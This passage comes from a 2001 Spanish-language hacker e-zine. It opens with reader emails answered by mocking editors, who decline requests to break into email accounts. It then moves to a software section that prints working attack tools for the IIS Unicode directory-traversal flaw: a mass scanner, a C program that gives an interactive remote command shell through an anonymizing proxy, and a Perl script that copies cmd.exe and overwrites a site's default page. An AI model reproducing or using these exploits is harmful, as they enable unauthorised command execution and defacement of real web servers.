 [ Uy, que bien, me imagino que deben pagar bien por un trabajo BIEN hecho]

 Estamos buscandote. 
 
 [ Who ... am I? noooooooo, yo nooo, yo les juro que no hice nadaaaa ]

 En este mundo solo existen dos tipos de personas, los mejores y los demas, 
 quieres ser de los mejores o de los demas. 
 
 [ Yo solo quiero ser DIOS, no los demas ni los mejores, solo DIOS ]

 Nuestro objetivo: Hacer de Mayestick la mas grande organizacion Hacker de 
 todo el mundo, ser recordados por mucho tiempo, ganarnos el respeto y el 
 reconocimiento que nos merecemos. 
 
 [ Jajajaja, ta bien eso, yo tambien quiero un auto y una MainFrame pero NO,
   No lo tengo, solo tengo que conformarme con mi PC, una caja de cigarrillos
   y una taza de cafe ]

 Te invito a ser parte de Mayestick........ 
 
 [ No pana, paso y gano ]

 neocybershock@xxxxxx.com 



 -=[ E-Mail 13 ]=- 

 Date: Wed, 02 May 2001 13:30:39 PDT 
 From: "Cesar Lunam" <lunam2000@xxxxx.com>
 Subject: Flood Zine 


 kisiera saber kual es el flood zine de starmierda ! 
 
 [ Uy, me vas a disculpar pero no entendi tu pregunta, si buscas una
   ezine, entonces te vas a google.com y metes en una cajita que esta alli
   lo siguiente "Busco Hombre que me alimente y que me mantenga", OK, pero
   sino te vas a las mejores paginas de ezine (como la de vanhackez.com o
   zine-store.com.ar) y de seguro que encontraras Zine's, pero muchas
   Zine's ]



 -=[ E-Mail 14 ]=-

 Date: Thu, 26 Apr 2001 00:34:14 PDT
 From: "elreviron" <elreviron@xxxxx.com>
 Subject: Comentario o Sugerencia 

 Antes que nada, mis felicitaciones y las gracias por enorgullecerme 
 como Venezolano (cosa que cada vez siento menos veces por lustro). 
 
 [ Gracias a ti por ser nuestro "Lector Amistoso" ]


 CRTICAS CONSTRUCTIVAS: 

  Me parece que deberan agregar ms documentacin. 
 
   [ Go to: http://pleyades.sourceforge.net/docs.php y mira a ver que 
     consigues alli ]

  En el STAFF se usa mucho la palabra \"loco\" y es redundante. si se 
   permiten palabras como \"puta\" qu tal cambiar \"loco\" por 
   \"frito\" \"tostado\" \"orate\" \"fundido\" o cualquier otro sinnimo. 
   
   [ Ok, cuando tenga un tiempito arreglo eso ]


 y por ltimo existe algn sitio para contactar con gente que le guste 
 ensear profundidades de Linux con un caf (o una birra si prefiere) de 
 por medio? 
 
 [ Bueno, si me pagas un millon de dolares americanos pues yo te ense~o hasta
   como hacerle el amor a un sistema operativo, pero si no tienes dinero pues
   puedes subscribirte a nuestra llista de correos o entar al IRC 
   (irc.dal.net) en el canal #linuxayuda y podras encontar ayuda en todo lo 
   que necesites ]



 Thanks a lot 
 
 [ See Ya Man]
 
 P.D. 
mi slogan: 
Get Linux or Get Die 
 
 
[ Como diria mi amigo SquOnk, Linux, Live Free or Die ]


 -=[ E-Mail 15 ]=-
 
 Date: Sat, 21 Apr 2001 15:44:00 PDT
 From: "^preso20^" <yo_preso20@hotmail.com>
 Subject: lamers 

 Ip o Hostname: 212.22.34.73 
 Nombre: ^preso20^ 
 E-Mail: yo_preso20@hotmail.com 

 bah no valeis ni pa kagar no soys mas k putos lamer yo ^preso20^ guru de 
 la red hispano hos desafio si teneis cojones mi canal es #mucha_fiesta y 
 mi web www.go.to/muchafiesta y si no los teneis comeros mis cagaos jurjur 
 
 [ Jajaja, te digo sinceramente, prefiero comer mierda de perro antes de
   entar a tu canal en el irc-hispano, personas como tu no tienen futuro 
   .... a ver ... lectores, como califican a este ni~o ....]


 Date: Sat, 21 Apr 2001 15:42:59 PDT
 From: "eros" <eros@usuarios.retecal.es>
 Subject: Comentario o Sugerencia 

 Ip o Hostname: 213.99.132.57 
 Nombre: eros 
 E-Mail: eros@usuarios.retecal.es 

 Como cojones os atreveis a llamaros hackers con esta mierda de pagina de 
 pagina que teneis que no vale ni pa tomar por culo, pediros ayuda??? Empezar
 por aprender vosotros que falta os hace y si de verdad quereis consejo 
 venir al canal #mucha_fiesta del irc-hispano que os voy a dar briza 
 capullos, os voy a hundir. 
 
 [ Eres mas estupido todavia, en el comentario anterior eras totalmente
   4n0n1m0us y ahora das todos tus datos ... heheh que grandes hacker son 
   ustedes los de mucha_fiesta deberian llamarse 
   somos_muchos_estupidos_en_un_canal_en_el_irc ... lastima que personas 
   como ustedes hagan consumir tantos recursos a los servidores de IRC ]

 
 -=[ E-Mail 16 ]=-
 
 Date: Fri, 20 Apr 2001 07:36:16 PDT
 From: "Lordafka" <deijack@xxxxx.com>
 Subject: Mas libertad y menos juicios  

 No es justo que a las mentes electronicas nos prohiban ser libres en un 
 mundo an loco como es este. 
La libertad aunque no es una opcion si es una 
 oportunidad unidos todos Nosotros aquellos hombres y mujeres que vivimos 
 del anonimato, juntos acabaremos con las malditas corporaciones que a su 
 juicio quieren obligarnos a estar arrodillados ante sus propuestas esto 
 no puede seguir asi... 
 
 
 [ Eso es compadre, viva el FreeSoftware, viva la Inet y que Viva la Pepa]



 -=[ E-Mail 17 ]=-

 Date: Thu, 05 Apr 2001 19:00:38 PDT
 From: "flia auza" <auza@cotas.com.bo>
 Subject: como estas KLOnk 


 KLONK:
 hola como estas, soy miembro team Orion, soy nuevo en la programacion, 
 quisiera que me digas las paginas ms confiables donde me pueda 
 vajar "PASCAL" o "BASIC", dicen que son los primeros que tienes que 
 dominar.
 
 [ Yo pienso que hay personas que deberian escribir sus emails en Word, 
   luego apretaran F7 y corrigieran los HORRORES ortograficos ...
   Buscalos en google.com o en download.com, por alli deben existir
   sitios que tengan alojados esos instaladores. Lo primero que debes 
   dominar es LA_LOGICA_DE_PROGRAMACION ]

 Ya se que los jakers no ayudan, pero ahora has una espcion please. 
 
 [ Claro que ayudamos ]
 
 Soy de Bolivia nac en la capital "sucre".
 Tengo 18 aos y me encanta la computacion (estoy en paales).
 Espero tu respuesta.
 
 
[ Ok, aqui esta ... una pregunta, te salieron canas esperando mi 
   respuestas? ]
 
 ROD.



 -=[ E-Mail 18 ]=-

 Date: Tue, 03 Apr 2001 10:27:36 PDT
 From: "Hackemate.com.ar" <hackemate@xxxxxxx.net>
 Subject: Re: Liberado Ezine 2 de 0ri0n Team venezuela 

 Ok, voy a publicar acerca del Zine en el mio, que ya tiene 10.000 
 
 [ Ok ... Ok ... Ok ]

 KerozenE 1999-2001 c0oL!    www.hackemate.com.ar 
 hackemate@xxxxxxxx.net 
 ICQ:78480975 



 -=[ E-Mail 19 ]=-

 Date: Tue, 03 Apr 2001 00:27:41 PDT 
 From: "ca0s" <caos@xxxxxxxx.xxx.ar>
 Subject: orion2 


 Hola, te escriba solo para felicitarte por la orion2 que la verdad me 
 gusto mucho.
 y de paso... es cierto todo eso que paso con los celulares? 
 jeje
 
 [ Gracias de Nuevo ca0s, pues te cuento que si fue cierto y que un amigo 
   de nosotros esta preso en una de las peores carceles aqui en Venezuela
   (te suena por casualidad la carcel "El Dorado"?) ]
 
 Saludos! ca0s.
 
 [ Ok, nos vemos en el espejo ]



 -=[ E-Mail 20 ]=-

 Date: Fri, 30 Mar 2001 14:43:39 PST
 From: "gtk" <hpardour@xxxxxx.cl>
 Subject: Sugerencia y/o Comentario 

 Por favor cambien el color de fondo o la letra 
porque no veo NADA !!! 
 
 [ Hahahah, comprate unos lentes para NERD a ver si ves BIEN ]

 =) 

 saludos =P 



 -=[ E-Mail 21 ]=-

 Date: Fri, 30 Mar 2001 13:21:34 PST
 From: "webmaster" <webmaster@xxxxxxxx.net>
 Subject: RE: Liberado Ezine 2 de 0ri0n Team venezuela 


 Ok, gracias por informar. He aadido el e-zine a mi web en la pgina 
 principal y lo he  subido a otra pgina que tengo para que lo puedan 
 descargar. 


 [ Bueno, ya por lo menos hemos encontrado una persona que se digna a 
   ser Mirror de Nuestra Revista ]



 Saludos, 
 www.elhacker.net 



 -=[ E-Mail 22 ]=-

 Date: Wed, 28 Mar 2001 15:05:10 PST
 From: "[***** *******]" <grinder@xxx.es>
 Subject: [Mirror 0ri0n E-Zine] 

 ok, ia lo hize, pero me pas una cosa. El servidor no me deja subir 
 el archivo 0ri0n-2.tar.gz( no se por q ) asi q lo descomprimi y volvi 
 a comprimir todos los archivos como zip, asi q quedo 0ri0n.zip, 
 espero q no tengais ningun problema ;) 
 
 [ Ok, ya tenemos nuestro segundo Mirror 0ri0n. No Problem Man, mientras
  que no alteres el contenido de la revista pues todo esta bien ]

 bueno mi page es www.galeon.com/deraiz 
 
 [ KO, ira para el listado de Mirror E-Zine 0ri0n ]

 salu2.- 
 GriNdEr.- 



 -=[ E-Mail 23 ]=-

 Date: Sun, 18 Mar 2001 11:59:51 PST [Show full headers] 
 From: "flia auza" <auza@xxxxx.com.bo>
 Subject: Hi, mas informacisn sobre ORION 


 COM ESTAN ORION_TEAM? 
 
 [ BIEN Y TU????? ]

 Hola quiero ser parte del grupo. Quiesiera saber que es lo especialde ser
 parte  de ORION-TEAM, que te ofrese ORION al ser parte de este grupo.
 
 [ Lo especial es que tienes que trabajar fuerte, que ofrecemos???, de todo
   menos dinero ]

 Tambien queiro saber si es que debo tener requerimientos para ser parte de
 este grupo.
 
 [ Claro que hay requerimientos minimos, te voy a nombrar unos, por ejemplo:
   
   01.- Saber Prender una Computadoras
   02.- Saber que es Windows/Office/Winzip
   03.- Por lo menos saber formatear un dikette
   .....
   26.- Saber programar minimo en C/C++ y ASM.
   27.- Saber que es una red, sus topologias, etc.
   .....
   71.- Haber creado un Sistema Operativo como minimo y que no este basado 
        en ningun Derivado del Unix, que sea propio y que sea original.
   .....
   100.- Ser Dios
  
   Bueno, eso son los requerimientos minimos, si quieres te puedo enviar a
   tu email los requerimientos medios.
  
  ]
 
 ME GUSTA VATANTE EL ROCK, TOCO EN UNA BANDA DE BLUES-HARDCORE
 
 [ Me too!! ]

 Soy boliviano, vivo en santa cruz, y me llamo RODOLFO AUZA, actualmente 
 estudiando ING:ELECTRONICA en la UPSA (universidad privada de santa cruz).
 
 [ Hay que bien, yo tambien estudio en la Universidad ]

 Si les interesa saber ms de mio banda puedes visitar su pagina, la banda se 
 llama EXTROBLUES <http://www.geocities.com/extroblues>
 
 [ Tocan Blues?, a mi me gusta el Blues tal vez sea el productor de su 
   disco ]

 
 Gracias y espero su llamada. 
 
 [ A tu orden, sabes creo que no los voy a poder llamar porque el 
   servicio telefonico de mi casa esta suspendido y tu tampoco me envistes 
   tu Numero de TLF entonces ... ]




 -=[ E-Mail 24 ]=-

 Date: Wed, 14 Mar 2001 13:51:07 PST
 From: "" <>
 Subject: Comentario o Sugerencia 

 Ip o Hostname: 200.11.215.7 
 Nombre: 
 E-Mail: 


 [ Otro carajo que se molesto en ir a la seccion de "Comentario o 
   Sugerencia" 
pero no escribio nada. Yo pienso que fue por lo siguiente:
   
   1. La Mama lo pillo bajando Fotos Pornos http://www.playgirl.com.
   2. Fue que por error le dio al boton de "Enviar"
   3. Otros Factores, como Psicologicos, Social, Sexuales, Ambientales, 
      Etc.
 ]




 -=[ E-Mail 25 ]=-

 Asunto: "PEDIDO IMPORTANTE A OriOn" 
 De: "Javier  Argentero" <jaargentero@xxxxxx.com.ar> 
 Fecha: Sat, 9 Jun 2001 15:12:37 -0300 

 Amigos Venezolanos OriOn en Red...
 
 [ Hola Amigo Argentino en la Red ]
 
 Mi nombre es Cristin (cliente del dueo de la cuenta de e-mail que 
 estoy usando).
 
 
 [ Mi Nombre es Juan Apostol y soy due~o de la cuenta de email 
   kl0nk@uole.com.ve ]
 
 El envo de este mensaje es por la siguiente pregunta:
 
 [ Aja, vamos a ver que quieres ]
 
 PODRAN MANDARME DE SU PGINA WEB INFORMES, TEXTOS O E-ZINES, ETC; 
 ALGUNOS DE LOS CUALES PUEDAN SER LEIDOS OFF-LINE (EN FORMATO 
 COMPRIMIDO). A MI DIRECCIN DE E-MAIL?...
 
 [ HAHAHAH, PUES CLARO QUE TE LO PODEMOS ENVIAR PERO PARA LA PROXIMA NO
   ESCRIBAS EN MAYUSCULA PORQUE PARECE QUE ESTAS GRITANDO!!!!! ]
 
 Este favor es pedido hacia ustedes por la razn de que el uso acortado en 
 perodo de internet que yo poseo, no me da para bajar los mismos informes 
 de su tan grandiosa e informativa pgina web, 
 
 [ Uy, ya tenemos a alguien que de verdad si le gusta nuestro sitio web ]
 
 es decir, en la Seccin H/P/V/C/B..., 
 
 [ Aja ... ]
 
 NO QUIERO SER LAMER, SLO NECESITO AYUDA...
 
 [ HAHAHA, CO~O NO ESCRIBAS EN MAYUSCULAS PORQUE ME ESTAS ESTRESANDO ]
 
 Aparte de eso poseo un Moden el cual debe haber sido trado por Coln en 
 la poca de sus Colonizaciones, valga la rebundancia (por ah funciona, 
 por ah no).
 
 [ Jejeje, yo tengo uno que parece hecho en la Epoca cuando Cristo Nacio, 
   pero a mi si me furula bien el Modem ]
 
 Tuviera medios para cambiarlos, lo hara. 
 
 [ Bueno, un modem en la actualidad es barato, no creo que seas tan pobre
   para no poder compar uno, sino comunicate con Zero_aciD alla en 
   argentina y negociale un modem a el ]
 
 Los ahorros que tena el fin de semana los gast para poder alquilar en 
 un TeleCentro esta casilla de E-Mail, de la cual comunico y paso mensajes 
 a gente de buena caridad y con ganas de intercambio mutuo en pedidos, es 
 decir, propiamente aplicadores de la SOLIDARIDAD (que es la que hace 
 falta en este tan pero chico MUNDO).
 
 [ I want to be just like you
 =) Sniff, Sniff ]
 
 DESDE YA MUCHAS GRACIAS.
 
 [ SIEMPRE A LA ORDEN ]
 
 SIGAN AS CON SUS CREACIONES H.T.M.L.
 
 [ CREACIONES H.T.M.L, ESO SI ES VERDAD QUE NO LO ENTENDI ]

 SI NECESITARAN ALGO SLO PIDANMEL. SER REGALADO!.
 
 [ SI, YO QUIERO SER COMO DIOS, CON CHIVA LARGA, PELO BLANCO Y CON MUCHO
   PODER, ME PODES CUMPLIR EL DESEO??? ]
 
 ESPEROS SUS RESPUESTAS MUY PRONTO...
 
 [ OK, ESPERO QUE ME CONCEDAS MI DESEO PRONTO ]
 

  
  -=[ E-Mail 26 ]=-

  De: Jose Elias Reyes <jereyesa@xxxxxxxxxx.com
  Asunto: hi
  Fecha: Domingo 17 de Junio de 2001 8:13 PM
 
  Hola

  [ Hola!!!! ]

  Queria informarles que acabo de abrir un nuevo sitio
  llamado X-system en
  el cualse trata de un portal de seguridad con varios
  temas, 
  
  [ Que Bien, eso me gusta ]
  en el
 momento me he visto un poco alcanzado ya que las personas
  con las que
 inicie ya no se encuentran y entos quede solo 
  terminando el
  proyecto...
  
  [ Que malo =( ]

  aprovecho este email para comentarles dos cosas
  
  [ Aja, dime Pues ]

  1. En la zona de downloads de mi sitio coloque los dos
 numeros de 
  su
  ezine...
  
  [ Que bien, ya tenemos otros Mirror E-Zine , bieeeeee ]

  2. Si conocen a alguien que quiera ayudar a administrar el
 sitio y a
  escribir...
  
  [ Bueno, yo te podria hechar una mano con eso pero acuerdate que 
    tambien tengo a 0ri0n por delante, Okzz ]

  La verdad es que no he tenido mucho tiempo para dedicarle
  al sitio ya
 que acabo de iniciar como administrador en la parte de
  redes de una ISP
  en colombia...
  
  [ Que bien, si donde trabajas necesitan otro admin pues avisame, yo
    necesito un trabajo urgente para pagar la cuenta del Telefono =) ]
 
  Bueno si saben de alguien les agradeceria nos pusieran en
  contacto...
  
  [ Ok Hermano Colombiano, estamos en Contacto ... Cambio y Fuera ]
 
 
  Jose Elias Reyes
  www.x-system.net


  
  -=[ E-Mail 27 ]=-
  
  De: E.G.G.A <keephot@xxxxx.com.ar>
  Asunto: Ezine
  Fecha: Lunes 16 de Julio de 2001 1:39 PM

  Hola,

  Bueno, en unos dias agrego la revista a la web, seria dentro de una 
  semana ya que en este momento no me encuentro en mi pais de residencia, y 
  no tengo los elementos para actualizar la web desde aqui, pero ni bien 
  llegue (que segun lo previsto es dentro de una semana y tres dias) 
  actualizo todo.
  
  [ Hola. Ok, gracias amigo y suerte ]

  Un saludo.
  KeepWarm


 -=[ E-Mail 28 ]=-
 
 De: leilamag@xxxxxxxxxx.com
 Asunto: Ayuda Urgente
 Fecha: Jueves 19 de Julio de 2001 6:36 PM
 
 Hola, que tal, estuve revisando su pagina y me parecio
 excelente, y tambien estuve revisando sus revistas
 electronicas.
 
 [ Ok ]
 
 La verdad ya tiene rato que tengo la espinita de ser hacker,
 y creo que hasta ya me obsesione, pero he estado revisando
 muchas paginas de hackers y tambien he visto muchas revistas
 y la mayoria dice que un hacker debe ser un buen programador
 y que ademas debe saber utilizar LINUX, yo se programar un
 poco en C, pero no se utilizar LINUX y me gustaria aprender,
 ya he bajado varios tutoriales para empezar a aprender
 LINUX, pero mi problema es que no he podido conseguir el
 software.
 
 [ Eso de la espinita esta muy bien. Sobre ser un buen Hacker yo diria
   que para ser hacker solo debes saber utilizar las herramientas necesarias
   para resolver un problema determinado en el menor tiempo y que esto
   este dentro de una ETICA, eso es bueno, por algo hay que empezar, lo
   de la programacion pues ponte las pilas, hay muchos lenguajes que explorar
   y que explotar. Sobre Linux pues te cuento que lo puedes bajar de la INET,
   echale un ojo a ftp.sunsite.uio.no, alli hay varias distribuciones, bajalas,
   quemalas, pruebalas y la que se adapte a tus necesidades y gustos pues 
   dejala y explorala y aprende de ella ] 
   
 Ustedes no me podrian informar donde puedo bajar el
 software, ya que si me interesa mucho aprender a manejarlo.
 
 [ Lee arriba ]
 
 Gracias de antemano y estare esperando su respuesta.
 
 [ Ok, simpre a la orden ]


 -=[ E-Mail 29 ]=-
 
 De: jose canseco <modem45@xxxxxxxxx.com>
 Asunto: ayuda
 Fecha: Domingo 8 de Julio de 2001 1:12 AM
 
 Antes que nada, que buena su pagina web la acabo de ver y me parece de 
 lo mas interesante y aparte completa, 
 
 [ Gracias, tratamos de hacer lo posible para tenerla "AL DIA" ]

 bueno lo que necesito urgentemente es que si me puden ayudar hackear el 
 password de esta cuenta reynarocha@latinmail.com y reynarocha@hotmail.com,
 tengo que borrar unos mensajes que envie por error. Seria muy bueno si me 
 ayudan
 saludos el modem jose.
 
 [ DIOS!!!!!, porque siempre hay Emails de este tipo, amigo Jose, nosotros
   no hacemos ese tipo de trabajo, buscate a un buen LAMER para que lo haga
   y por favor no llenes nuestro buzon de porquerias, OK. ]
 
 

 -=[ E-Mail 30 ]=- 

 De: seiyuro@xxxxx.net
 Asunto: epale
 Fecha: Jueves 5 de Julio de 2001 2:49 PM
 
 hola, ya se que te gusta trabajar mas con linux que con win, pero como yo
 tengo muy poco tiempo en esto pense si podias ayudarme, me gustaria que me
 dijeras como dominar un poco el telnet, o donde puedo conseguir informacion
 sobre este, despues si pienso meterme con linux pero como estoy comenzando
 me parece que esta es una buena area, gracias de antemano si me puedes
 ayudar
 
 [ Bueno, sobre que nos mes guste trabajar mas con uno que con el otro es 
   mentira, en mi caso, yo me adapto a lo que necesite en el momento, aunque
   trato de trabajar mas con sistema OPEN SOURCE. Sobre conseguir informacion
   sobre telnet pues hay mucha en internet, buscala en google.com ]


 -=[ E-Mail 31 ]=- 
 
  
 Ip o Hostname: 216.219.46.77
 Nombre: eduardo
 E-Mail: marc@xxxxxxxx.com

 me gustaria que me manden ideas de como poder hackear un correo 
 
 [ HAHAHAHA, deberia hacer una encuesta para ver si escribo un paper de 
   "Como Cracker una cuenta de E-Mail", porque de verdad la gente lo unico 
   que pregunta es eso. ]

 
 
--EOF--


-[ 3x13.txt ]----------------------------------------------------------------
-[ Seccion de Software ]-------------------------------------[ 0ri0n Staff ]-
--------------------------------------------------------[ otv@datafull.com ]-
  

 En esta seccion vamos a depositar el software, scripts, etc utilizados en
 los articulos que se incluyen en la revista, varios  de  ellos  deben ser
 decodificados (en el caso de los archivos .uue), para ello les recomiendo 
 leer en 0ri0n Magazine #1 el articulo numero 5.

 Indice:
 -------

  UNICODE/DECODE
  1.- iisscan.pl
  2.- issuni.c
  3.- iis-unicode-exploit.pl 
  4.- unicode-shell.pl
  5.- uniscan-qqmelo.c
  6.- decodecheck.pl
  7.- decodexecute.pl
  8.- uniconsole.uue
  9.- urlsscanner.uue
  10.- unicode.php
  10.1.-unicode.txt
 

  PHP/MySQL 
  10.- Database.mysql  
  11.- formulario.php
  

  PROXY
  12.- squid.conf
 
 
 


 -------------------------------------------------------------------------
 
######################
#  1.- iisscan.pl    #
######################

[++] unicode/iisscan.pl
#!/usr/bin/perl 
#Root Shell Hackers
#piffy
#this is a quick scanner i threw together while supposedly doing homework 
#in my room.
#it will go through a list of sites and check if it gives a directory 
#listing for the new IIS hole
 it checks for both %c0%af and %c1%9c
#perhaps a public script to do some evil stuff with this exploit later... 
#h0h0h0
#werd: all of rsh, 0x7f, hackweiser, rain forest puppy for researching the 
#hole =]
use strict;
use LWP::UserAgent;
use HTTP::Request;
use HTTP::Response;
my $def = new LWP::UserAgent;
my @host;
print "root shell hackers\n";
print "iis cmd hole scanner\n";
print "coded by piffy\n";
print "\nWhat file contains the hosts: ";
chop (my $hosts=<STDIN>);
open(IN, $hosts) || die "\nCould not open $hosts: $!"; 
while (<IN>) 
{ 
	$host[$a] = $_; 
	chomp $host[$a]; 
	$a++; 
        $b++; 
} 
close(IN);
$a = 0; 
print "ph34r, scan started";
while ($a < $b) 
{ 
	my $url="http://$host[$a]/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ ";
	my $request = new HTTP::Request('GET', $url);
	my $response = $def->request($request);
	if ($response->is_success) {
  	print $response->content;
	open(OUT, ">>scaniis.log"); 
	print OUT "\n$host[$a] : $response->content"; 
	-close OUT; 
  	 } else {
  	print $response->error_as_HTML;
	}
	&second()
} 

sub second() {
	my $url2="http://$host[$a]/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\ ";
	my $request = new HTTP::Request('GET', $url2);
	my $response = $def->request($request);
	if ($response->is_success) {
  	print $response->content;
	open(OUT, ">>scaniis.log"); 
	print OUT "\n$host[$a] : $response->content"; 
	-close OUT; 
  	 } else {
  	print $response->error_as_HTML;
	}
	$a++; 
}
[--]

###################
#  2.- issuni.c   #
###################

[++] unicode/issuni.c
/* hack IIS 4.0/5.0 with the usefull UNICODE :) and have fun */
/* coded by zipo [micro$oft@sucks.com.ar] */
/* to compile: cc -o iisuni iisuni.c */
/* made for all the lame populus :) */
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
#define BUFF_LEN 6000
#define HTTP " HTTP/1.0\r\n\r\n"
#define GET "GET http://"
/* this is the anonymous server used */
#define ANON "anon.free.anonymizer.com"
/* this are all the types of bugs */
#define BUG1_STR "/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+"
#define BUG2_STR "/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+"
#define BUG3_STR "/iisadmpwd/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+"
#define BUG4_STR "/"
/* this is the IIS http server port */
#define HTTP_PORT 80
int main (int argc, char *argv[]) {
   struct sockaddr_in sin;
   struct hostent *he;
   char *bug,cmd[BUFF_LEN],recbuffer[BUFF_LEN],buffer[BUFF_LEN];
   int sck, i;
   if (argc < 3)
     bad_params (argv[0]);
   switch (atoi(argv[2])) {
    case 1:
      bug = BUG1_STR;
      break;
    case 2:
      bug = BUG2_STR;
      break;
    case 3:
      bug = BUG3_STR;
      break;
    case 4:
      bug = BUG4_STR;
      break;
    default:
      printf ("Number error must be 1 to 4 \n");
      exit(1);
   }
   while (1) {   
      printf ("bash# ");
      fgets (cmd, sizeof(cmd), stdin);
      cmd[strlen(cmd)-1] = '\0';
      if (strcmp(cmd, "exit")) {
      	 if (!strcmp(cmd, "clear")) {
	    system("clear");
	    continue;
	 } else if (!strcmp(cmd, "")) {
	    continue;
	 } else if (!strcmp(cmd, "?")) {
	    printf ("Just you need to type in the prompt the M$DOS command\n"); 
	    printf ("to exit type \"exit\" :)\n");
	    continue;
	 }
	 /* prepare the string to be sent */
	 for (i=0;i<=strlen(cmd);i++) {
	    if (cmd[i] == 0x20)
	      cmd[i] = 0x2b;
	 }
	 sprintf (buffer, "%s%s%s%s%s", GET, argv[1], bug, cmd, HTTP);
	 /* get ip */
	 if ((he = gethostbyname (ANON)) == NULL) {
	    herror ("host error");
	    exit (1);
	 }
	 /* setup port and other parameters */
	 sin.sin_port = htons (HTTP_PORT);
	 sin.sin_family = AF_INET;
	 memcpy (&sin.sin_addr.s_addr, he->h_addr, he->h_length);
	 /* create a socket */
	 if ((sck = socket (AF_INET, SOCK_STREAM, 6)) < 0) {
	    perror ("socket() error");
	    exit (1);
	 }
	 /* connect to the sucker */
	 if ((connect (sck, (struct sockaddr *) &sin, sizeof (sin))) < 0) {
	    perror ("connect() error");
	    exit (1);
	 }
	 /* send the beautifull string */
	 write (sck, buffer, sizeof(buffer));
	 /* recive all ! :) */
	 read (sck, recbuffer, sizeof(recbuffer));
	 /* and print it */
	 recbuffer[strlen(recbuffer)-1]='\0';
	 printf ("\033[0;7m-------------------------------------Received-----------------------------------\n");
	 printf ("%s\n---------------------------------------Done-------------------------------------\n\033[7;0m", recbuffer);
	 /* close the socket ... not needed any more */
	 close (sck);
	 /* put zero's in the buffers */
	 bzero (buffer, sizeof(buffer));
	 bzero (recbuffer, sizeof(recbuffer));
      } else {
	 /* you type "exit" cya :) */
	 exit(0);
      }
   }
}
/* you miss a parameter :'-( */
int bad_params (char *prog_name) {
   fprintf (stdout, "usage:\n\t%s <hostname> <number>\n", prog_name);
   fprintf (stdout, "-------------------------------------------------------\n");
   fprintf (stdout, "<1> msadc\t");
   fprintf (stdout, "<2> scripts\t");
   fprintf (stdout, "<3> iisadmpwd\t");
   fprintf (stdout, "<4> /\n");
   fprintf (stdout, "-------------------------------------------------------\n");
   exit (1);
}
/* EOF */
[--]


##############################
# 3.- iis-unicode-exploit.pl #
##############################

[++] unicode/iis-unicode-exploit.pl
#!/usr/bin/perl -w
## [ FOR TESTING PURPOSES ONLY - THIS IS NOT A DEFACEMENT TOOL! ]
##
##       Microsoft-IIS Remote Proof of Concept Exploit
##                 (Unicode vulnerability)
##
## -------------------------------------------------------------
##
## Vulnerable:
## ~~~~~~~~~~~
## -- Microsoft IIS 5.0 / Microsoft Windows NT 2000
## -- Microsoft IIS 4.0 / Microsoft Windows NT 4.0
##
## -- Microsoft BackOffice 4.5 / Microsoft Windows NT 4.0
## -- Microsoft BackOffice 4.0 / Microsoft Windows NT 4.0
##
## -------------------------------------------------------------
##
## Exploits Details:
## ~~~~~~~~~~~~~~~~~
## <host>  ==  The host you want to try this on. (surprise)
##
## <file>  ==  A textfile containing what you want to be
##             echoed into the index file. Html code will
##             not work. Keep it short, like: wh0a, 1t w0rked!
##
## <path>  ==  The path and name of the default html file. If
##             you don't define it - this exploit will use:
##             C:\inetpub\wwwroot\default.htm as default.
## 
## E.g: ./exploit 0 file.txt C:\Inetpub\wwwroot\Default.htm
##
## Note: This (stupid) exploit does not do much error checking.
##
## -------------------------------------------------------------
##
## Credits:
## ~~~~~~~~
## - The genius who wrote about this in the Packetstorm forum. 
## - Rain.forest.puppy for his advisory with words of wisdom.
## - Nsfocus Security Teams for their great post to Bugtraq.
##
## /* Exploit was tested successfully on W2K using ISS 5.0 */
##
##       teleh0r@doglover.com || http://teleh0r.cjb.net
##
## -------------------------------------------------------------


use Socket;

if (@ARGV < 2) {
    print("Usage: $0 <host> <file> [<path-to-*.html>\n");
    exit(1); 
}
 
my($host,$file,$path,$nl,$string,$copy,$echo, $iaddr,$paddr,$proto,$version);

($host,$file,$path) = @ARGV;

$nl = "\015\012\015\012"; # be strict in what you provide...

if (!(defined($path))) {
    $path = "C:\\inetpub\\wwwroot\\default.htm";
    # C:\inetpub\wwwroot is the default path on w2k. NT 4?
}

# Quick and dirty way of getting the server banner.

connect_host();
send(SOCKET, "HEAD / HTTP/1.0$nl", 0);
LOOP: while (defined($_ = <SOCKET>)) {
      if ($_ =~ m/^Server/) {
	  $version = $_; chomp($version);
	  last(LOOP);
      }
} 

if (!(defined($version))) {
    $version = "UNKNOWN";
}

print("\nRemote host: $host\n");
print("$version\n");
print("Path: $path\n");

open(FILE, "<$file") || die("Error $file: $!\n");
while (defined($_ = <FILE>)) {
    $string .= $_;
}
close(FILE);

$string =~ s/ /\+/g; $string =~ s/\n/\+/g;

if ($string =~ m/\>/g || $string =~ m/\</g) {
    print("\nHey, $host are using Window's version of echo ...\n");
    exit(1);
}

# ------------------------------------------------------------
# %c0%af may have to be changed - read some of the posts to
# Bugtraq for more information.
#
# Or try HWA.unibrute.v1:
# http://www.hwa-security.net/hot-new/HWA.unibrute.v1.c
#
# Some of the below might work:
# %c1%8s / %c0%af / %c0%qf / %c0%9v / %c1%9c / %c1%pc /%c1%1c 
# ------------------------------------------------------------

# Using directory "/inetpub/scripts/" - change if needed.

$copy = '/scripts/..%c0%af../winnt/system32/cmd.exe?/c+copy+..'.
        '\\..\\winnt\\system32\\cmd.exe+hass.exe';

$echo = "/scripts/..%c0%af../inetpub/scripts/hass.exe?/c+echo".
        "+$string+>+$path";


print("\nAttemting exploitation of $host ...\n\n");

connect_host(); 
send(SOCKET,"GET $copy HTTP/1.0$nl", 0);
close(SOCKET);

sleep(5); # Don't you remember how slow Windows is?

connect_host(); 
send(SOCKET,"GET $echo HTTP/1.0$nl", 0);
close(SOCKET);

sleep(5); # Let me tell you then - it is  s l o w !

print("-"x"50", "\n\n");
connect_host();
send(SOCKET,"GET / HTTP/1.0$nl", 0); # I'm lazy
while (defined($_ = <SOCKET>)) {
    print("$_");
}
close(SOCKET);
print("\n", "-"x"50", "\n"); exit(0);

sub connect_host {

    $iaddr = inet_aton($host)                       || die("Error: $!\n");
    $paddr = sockaddr_in(80, $iaddr)                || die("Error: $!\n");
    $proto = getprotobyname('tcp')                  || die("Error: $!\n");

